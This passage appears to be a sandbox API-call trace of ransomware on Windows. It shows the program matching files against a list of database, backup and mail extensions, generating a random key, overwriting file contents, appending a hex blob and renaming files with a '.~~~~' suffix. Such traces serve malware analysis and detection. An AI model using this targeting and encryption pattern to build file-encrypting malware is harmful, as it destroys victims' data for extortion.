	[0085.213] lstrlenW (lpString=".DBV") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.213] lstrlenW (lpString=".dacpac") returned 7
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.213] lstrlenW (lpString=".sdf") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.214] lstrlenW (lpString=".accdb") returned 6
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.214] lstrlenW (lpString=".DBX") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.214] lstrlenW (lpString=".MDT") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.214] lstrlenW (lpString=".SQB") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.214] lstrlenW (lpString=".vhd") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.214] lstrlenW (lpString=".bac") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.214] lstrlenW (lpString=".mdf") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.214] lstrlenW (lpString=".BAK") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.214] lstrlenW (lpString=".BAC") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.214] lstrlenW (lpString=".dbs") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.214] lstrlenW (lpString=".vhdx") returned 5
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.214] lstrlenW (lpString=".NDF") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.214] lstrlenW (lpString=".dat") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.214] lstrlenW (lpString=".DBS") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.214] lstrlenW (lpString=".CKP") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.214] lstrlenW (lpString=".edb") returned 4
	[0085.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.214] lstrlenW (lpString=".PST") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.215] lstrlenW (lpString=".dbf") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.215] lstrlenW (lpString=".SQL") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.215] lstrlenW (lpString=".pst") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.215] lstrlenW (lpString=".dbv") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.215] lstrlenW (lpString=".SDF") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.215] lstrlenW (lpString=".dtxs") returned 5
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.215] lstrlenW (lpString=".db3") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.215] lstrlenW (lpString=".OST") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.215] lstrlenW (lpString=".dbx") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.215] lstrlenW (lpString=".DB3") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.215] lstrlenW (lpString=".DAT") returned 4
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.215] lstrlenW (lpString=".VHDX") returned 5
	[0085.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.233] lstrlenW (lpString=".ndf") returned 4
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.233] lstrlenW (lpString=".DB") returned 3
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.233] lstrlenW (lpString=".sql") returned 4
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.233] lstrlenW (lpString=".MYD") returned 4
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.233] lstrlenW (lpString=".DBT") returned 4
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.233] lstrlenW (lpString=".ACCDB") returned 6
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.233] lstrlenW (lpString=".fdb") returned 4
	[0085.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.233] lstrlenW (lpString=".bak") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.234] lstrlenW (lpString=".myd") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.234] lstrlenW (lpString=".DTXS") returned 5
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.234] lstrlenW (lpString=".ckp") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.234] lstrlenW (lpString=".dbt") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.234] lstrlenW (lpString=".db") returned 3
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.234] lstrlenW (lpString=".TXT") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.234] lstrlenW (lpString=".MDF") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.234] lstrlenW (lpString=".bdb") returned 4
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.234] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.234] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.235] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.235] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.235] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20522533142) returned 1
	[0085.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c9ef070, dwHighDateTime=0x1d60e1e)) 
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cf58
	[0085.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf58 | out: hHeap=0x300000) returned 1
	[0085.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3938
	[0085.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0085.236] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.236] GetLastError () returned 0x0
	[0085.236] GetLastError () returned 0x0
	[0085.236] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.236] GetLastError () returned 0x0
	[0085.236] GetLastError () returned 0x0
	[0085.240] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffab0f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.240] WriteFile (in: hFile=0x11c, lpBuffer=0x2871ff0*, nNumberOfBytesToWrite=0x54f1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2871ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x54f1, lpOverlapped=0x0) returned 1
	[0085.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2871ff0 | out: hHeap=0x300000) returned 1
	[0085.240] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.240] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.240] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.240] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.240] CloseHandle (hObject=0x11c) returned 1
	[0085.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.~~~~")) returned 1
	[0085.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.255] GetLastError () returned 0x0
	[0085.255] RtlWakeConditionVariable () returned 0x365f70
	[0085.255] GetCurrentThreadId () returned 0x3a4
	[0085.255] GetCurrentThreadId () returned 0x3a4
	[0085.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0085.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3dd0 | out: hHeap=0x300000) returned 1
	[0085.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cee8 | out: hHeap=0x300000) returned 1
	[0085.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3dd0
	[0085.255] lstrlenW (lpString=".scr") returned 4
	[0085.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".scr") returned 0x0
	[0085.255] lstrlenW (lpString=".cmd") returned 4
	[0085.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".cmd") returned 0x0
	[0085.255] lstrlenW (lpString=".dll") returned 4
	[0085.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dll") returned 0x0
	[0085.255] lstrlenW (lpString=".bat") returned 4
	[0085.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".bat") returned 0x0
	[0085.255] lstrlenW (lpString=".cpl") returned 4
	[0085.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".cpl") returned 0x0
	[0085.255] lstrlenW (lpString=".sys") returned 4
	[0085.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".sys") returned 0x0
	[0085.256] lstrlenW (lpString=".msc") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".msc") returned 0x0
	[0085.256] lstrlenW (lpString=".com") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".com") returned 0x0
	[0085.256] lstrlenW (lpString=".lnk") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".lnk") returned 0x0
	[0085.256] lstrlenW (lpString=".msp") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".msp") returned 0x0
	[0085.256] lstrlenW (lpString=".pif") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".pif") returned 0x0
	[0085.256] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.256] lstrlenW (lpString=".sqb") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".sqb") returned 0x0
	[0085.256] lstrlenW (lpString=".ost") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".ost") returned 0x0
	[0085.256] lstrlenW (lpString=".txt") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".txt") returned 0x0
	[0085.256] lstrlenW (lpString=".mdt") returned 4
	[0085.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".mdt") returned 0x0
	[0085.256] lstrlenW (lpString=".BDB") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".BDB") returned 0x0
	[0085.257] lstrlenW (lpString=".eql") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".eql") returned 0x0
	[0085.257] lstrlenW (lpString=".DBF") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DBF") returned 0x0
	[0085.257] lstrlenW (lpString=".EQL") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".EQL") returned 0x0
	[0085.257] lstrlenW (lpString=".FDB") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".FDB") returned 0x0
	[0085.257] lstrlenW (lpString=".EDB") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".EDB") returned 0x0
	[0085.257] lstrlenW (lpString=".DACPAC") returned 7
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DACPAC") returned 0x0
	[0085.257] lstrlenW (lpString=".VHD") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".VHD") returned 0x0
	[0085.257] lstrlenW (lpString=".DBV") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DBV") returned 0x0
	[0085.257] lstrlenW (lpString=".dacpac") returned 7
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dacpac") returned 0x0
	[0085.257] lstrlenW (lpString=".sdf") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".sdf") returned 0x0
	[0085.257] lstrlenW (lpString=".accdb") returned 6
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".accdb") returned 0x0
	[0085.257] lstrlenW (lpString=".DBX") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DBX") returned 0x0
	[0085.257] lstrlenW (lpString=".MDT") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".MDT") returned 0x0
	[0085.257] lstrlenW (lpString=".SQB") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".SQB") returned 0x0
	[0085.257] lstrlenW (lpString=".vhd") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".vhd") returned 0x0
	[0085.257] lstrlenW (lpString=".bac") returned 4
	[0085.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".bac") returned 0x0
	[0085.257] lstrlenW (lpString=".mdf") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".mdf") returned 0x0
	[0085.258] lstrlenW (lpString=".BAK") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".BAK") returned 0x0
	[0085.258] lstrlenW (lpString=".BAC") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".BAC") returned 0x0
	[0085.258] lstrlenW (lpString=".dbs") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dbs") returned 0x0
	[0085.258] lstrlenW (lpString=".vhdx") returned 5
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".vhdx") returned 0x0
	[0085.258] lstrlenW (lpString=".NDF") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".NDF") returned 0x0
	[0085.258] lstrlenW (lpString=".dat") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dat") returned 0x0
	[0085.258] lstrlenW (lpString=".DBS") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DBS") returned 0x0
	[0085.258] lstrlenW (lpString=".CKP") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".CKP") returned 0x0
